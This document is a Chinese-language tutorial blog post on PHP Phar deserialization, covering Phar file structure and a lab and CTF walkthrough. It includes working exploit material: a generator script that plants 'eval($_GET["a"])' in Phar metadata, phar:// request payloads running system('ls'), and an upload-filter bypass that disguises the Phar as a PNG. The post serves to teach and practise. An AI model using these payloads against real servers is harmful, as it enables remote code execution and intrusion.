Phar反序列化

什么是Phar

JAR 是开发 Java 程序一个应用,包括所有的可执行、可访问的文件,都打包进了一个 JAR 文件里,使得部署过程十分简单

phar是 PHP 里类似于 JAR 的一种打包文件,说白了其本质可以理解为一个压缩包

对于 PHP 5.3 或更高版本,phar后缀文件时默认开启支持的,可以直接使用

一般使用文件包含中的**phar伪协议进行读取.phar文件**

Phar文件结构

  • **stub phar:**这是phar文件标识,格式为xxx<?php xxx;__HALT_COMPILER();?>(头部信息),这是 PHAR 文件的入口点,当 PHP 解释器加载 PHAR 文件时,会首先执行 Stub 代码
  • manifest:压缩文件的属性等信息,以序列化方式存储
  • **contents:**压缩文件的内容
  • **signature:**签名,放在文件末尾

phar协议解析文件时,会自动触发对**manifest字段序列化字符串进行反序列化**

image-20250420202950641

以下是官方文档,红框部分是要进行利用的序列化部分

image-20250420203104476

phar文件的压缩和解压缩

1
2
3
4
5
6
# 压缩
<?php
$phar = new Phar('test2.phar',0,'test2.phar');
$phar->buildfromDirectory('f:\0Day');
$phar->setDefaultStub('test.txt','test.txt');
?>
  • Phar类:Phar是 PHP 内置的一个类,用于创建、操作和管理 PHAR 文件
  • **$phar = new Phar('test2.phar',0,'test2.phar');**第一个参数test2.phar是创建的 PHAR 文件名,如果文件不存在会创建一个新的文件,如果文件存在并允许进行修改,会对其进行更新;第二个参数0表示文件创建的标志,实际应用中会使用如:Phar::CREATE表示创建新的 PHAR 文件,来指定不同的创建模式;第三个参数test2.phar指定 PHAR 文件的别名,可以在后续中引用该 PHAR 文件时使用
  • **$phar->buildfromDirectory('f:\0Day');**指定要打包的目录路径
  • **$phar->setDefaultStub('test.txt','test.txt');**中setDefaultStub用于为 PHAR 文件设置默认的 Stub,即默认入口;第一个参数test.txt是入口文件的路径,第二个参数 'test.txt' 是内部文件的路径
1
2
3
4
5
# 解压缩
<?php
$phar = new Phar('test.phar');
$phar->extractTo('test');
?>
  • **$phar = new Phar('test.phar');**通过 new Phar('test.phar') 语句,程序尝试打开名为 test.phar 的 Phar 压缩包文件,并将其封装成一个 Phar 对象存储在变量 $phar 中。如果 test.phar 文件不存在,会报错
  • **$phar->extractTo('test');**调用 Phar 对象的 extractTo 方法,该方法的作用是将 Phar 压缩包中的所有内容提取到指定的目录;参数 'test' 是目标目录,即 Phar 压缩包中的文件和目录会被解压到名为 test 的目录下。如果该目录不存在,PHP 会尝试创建它;若已存在,则会将文件解压到该目录内

创建一个.phar文件的模板

1
2
3
4
5
6
7
8
9
10
11
12
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$o=new Testobj();
$o->output='eval($_GET["a"]);';

$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

具体解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 删除之前的test.par文件(如果有)
@unlink('test.phar');
# 创建一个phar对象,文件名必须以 .phar 为后缀
$phar=new Phar('test.phar');
# 开始写文件
# 调用startBuffering()这个函数意味着后续的写入操作不会立即将数据写入文件,而是先存储在缓冲区中,直到调用stopBuffering()方法
$phar->startBuffering();
# 写入stub(是 Phar 文件的入口点,当 Phar 文件被执行时,首先会执行 stub 中的代码)
# 括号中的代码是默认的,是一个特殊的 PHP 指令,用于停止 PHP 代码的编译,后面的数据会被当作二进制数据处理
$phar->setStub('<?php __HALT_COMPILER(); ?>');

# 要写入文件中的部分
# 创建一个 Testobj 类的对象 $o
$o=new Testobj();
# 设置output属性的内容
$o->output='eval($_GET["a"]);';

# 调用 setMetadata 方法,将 $o 对象作为元数据写入 Phar 文件中(写入meta-data)
$phar->setMetadata($o);
# 将字符串 "test" 作为文件内容,以 test.txt 为文件名添加到 Phar 压缩包中
$phar->addFromString("test.txt","test");
# 停止写入文件
# 调用 stopBuffering 方法,停止缓冲,并将缓冲区中的数据写入到 test.phar 文件中
$phar->stopBuffering();
?>

Phar反序列化漏洞原理

manifest压缩文件的属性等信息,以序列化存储,存在一段序列化的字符串

调用phar伪协议,可读取.phar文件

phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

phar需要满足 PHP >= 5.2,在php.ini中将phar.readonly设为Off

以下是这个漏洞受到影响的函数(即可以使用phar伪协议读取.phar文件的函数)

image-20250421175359494

具体题目解析

第一个是漏洞页面index.php,源码如下

image-20250421175611356

第二个是可以生成phar文件的页面phar.php,源码如下

image-20250421175706263

审计代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
  • 在漏洞页面index.php的源码中,定义了Testobj这个类,有一个属性output,和一个__destruct()魔术方法,会执行output的内容,这里可以进行RCE执行命令
  • 然后是可以GET传参filename,并且使用了file_exists()函数检查文件或目录是否存在,这个函数存在与受影响的函数之中,所以这里存在phar反序列化漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 <?php
highlight_file(__FILE__);
class Testobj
{
var $output='';
}

# 删除之前的test.par文件(如果有)
@unlink('test.phar');
# 创建一个phar对象,文件名必须以 .phar 为后缀
$phar=new Phar('test.phar');
# 开始写文件
# 调用startBuffering()这个函数意味着后续的写入操作不会立即将数据写入文件,而是先存储在缓冲区中,直到调用stopBuffering()方法
$phar->startBuffering();
# 写入stub(是 Phar 文件的入口点,当 Phar 文件被执行时,首先会执行 stub 中的代码)
# 括号中的代码是默认的,是一个特殊的 PHP 指令,用于停止 PHP 代码的编译,后面的数据会被当作二进制数据处理
$phar->setStub('<?php __HALT_COMPILER(); ?>');
# 创建一个 Testobj 类的对象 $o
$o=new Testobj();
# 设置output属性的内容
$o->output='eval($_GET["a"]);';
# 调用 setMetadata 方法,将 $o 对象作为元数据写入 Phar 文件中(写入meta-data)
$phar->setMetadata($o);
# 将字符串 "test" 作为文件内容,以 test.txt 为文件名添加到 Phar 压缩包中
$phar->addFromString("test.txt","test");
# 停止写入文件
# 调用 stopBuffering 方法,停止缓冲,并将缓冲区中的数据写入到 test.phar 文件中
$phar->stopBuffering();
?>
  • phar.php页面可以生成.phar文件,源码中同样定义了Testobj类和output属性,与index.php中的一致
  • 生成.phar文件部分的解析见源码

index.php页面中传入GET参数filename,其值为/etc/passwd

1
?filename=/etc/passwd

image-20250421181801644

正常会根据文件是否存在得到一个布尔值的回显

因为这里使用的是file_exists函数,是可以使用phar://伪协议的,但是可以使用phar伪协议并不代表一定存在phar反序列化漏洞,还要看能否触发魔术方法进而可以执行一些操作,在这里就是要触发__destruct()这个魔术方法进而可以执行命令,所以存在漏洞

访问phar.php这个页面,然后这个页面中的代码会自动生成一个test.phar的文件,查看tmp目录下会发现生成了这个文件

image-20250421184245937

可以使用xxd命令查看文件内容

image-20250421184338480

可以看到写入了序列化后的数据

1
O:7:"Testobj":1:{s:6:"output";s:17:"eval($_GET["a"]);";}

接着在index.php页面中查看这个文件发现是存在的

1
?filename=test.phar

image-20250421183120702

最后就可以利用phar伪协议读取这个文件,会自动将序列化部分的数据进行反序列化,然后就会自动触发__destruct()魔术方法,从而可以执行eval($_GET["a"]);,也就是可以进行GET传参一个a进行RCE

1
?filename=phar://test.phar&a=system('ls');

image-20250421184732520

Phar反序列化漏洞使用条件

  • phar文件可以上传到服务器端
  • 要有可用反序列化魔术方法作为跳板(就是可以通过触发魔术方法__destruct()__wakeup()进行RCE之类的操作)
  • 要有文件操作函数,如:file_exists()fopen()file_get_contents()
  • 文件操作函数的参数可控
  • 要使用的伪协议phar://中的字符和关键字没有被过滤

image-20250421191301040

小知识

使用phar://伪协议读取文件是不看后缀的

如果服务器对上传的文件有限制,只能上传一些pngjpggif等图片文件,我们可以把phar文件修改成其他的任何一个格式的文件,并且不会受到影响

如下,使用mv命令将test.phar文件修改成test.png文件,改变其后缀名

image-20250421185913907

然后使用phar伪协议读取test.png文件仍然是可以执行命令的

1
?filename=phar://test.png&a=system('ls');

image-20250421190111156

所以后缀名是没有影响的,只要可以上传到服务器就行

Phar反序列化例题

题目分析

index.php页面源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>

可以发现定义了一个TestObject()类,存在一个__destruct()魔术方法可以获取flag.php中的flag,然后可以进行传参一个POST参数file,并使用md5_file 函数读取指定文件的内容,并基于这些内容生成哈希值,提示有一个upload.php页面,访问发现可以上传文件,并且根据标题可知只能上传图片文件

image-20250421191439247

这里使用md5_file 函数读取指定文件,并且有上传文件的接口,存在phar反序列化漏洞,可以通过上传一个phar文件,并在index.php页面通过POST参数file读取文件,从而进行反序列化触发__destruct()魔术方法获取flag,不过指定了上传的文件只能是图片,但是在前面学习的小知识中可知可以将phar文件后缀改成其他的,并且不受影响,所以可以上传一个图片格式并可以被解析

首先可以先试试POST传参file查看文件

1
file=/etc/passwd

image-20250421192916940

可以看到可以读取到/etc/passwd文件并输出一段哈希值

这题中满足了以下条件,可以进行phar反序列化的利用image-20250421194052111

解题步骤

  • **生成一个phar文件:**在mate-data里放置一个包含TestObject()序列化字符串
  • 上传文件:md5_file执行伪协议,触发反序列化,从而触发__destruct()魔术方法执行echo flag

开始解题

生成一个phar文件

可以在自己本地的PhpStorm中生成一个phar文件,不过注意要设置PhpStorm中的phar.readonlyOff,否则会出现以下报错

image-20250421194809962

找到当前使用的php版本的php.ini文件

image-20250421195235055

直接搜索找到phar.readonly就行,以下是原本的样子

image-20250421200406776

On修改为Off,还要把前面的分号去掉,修改后如下

image-20250421200456451

然后直接运行以下脚本就可以在脚本的同一目录下生成phar文件了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class TestObject {
}

@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$o=new TestObject();

$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

image-20250421200642878

然后就是在upload.php页面上传文件,抓包改后缀和MIME头就行

image-20250421201143536

可以看到成功上传进去了

image-20250421201248601

最后就是使用phar伪协议读取上传的文件

1
file=phar:///var/www/html/class23/upload/test.png

image-20250421205949427


Phar反序列化
https://yschen20.github.io/2025/04/25/Phar反序列化/
作者
Suzen
发布于
2025年4月25日
更新于
2025年4月29日
许可协议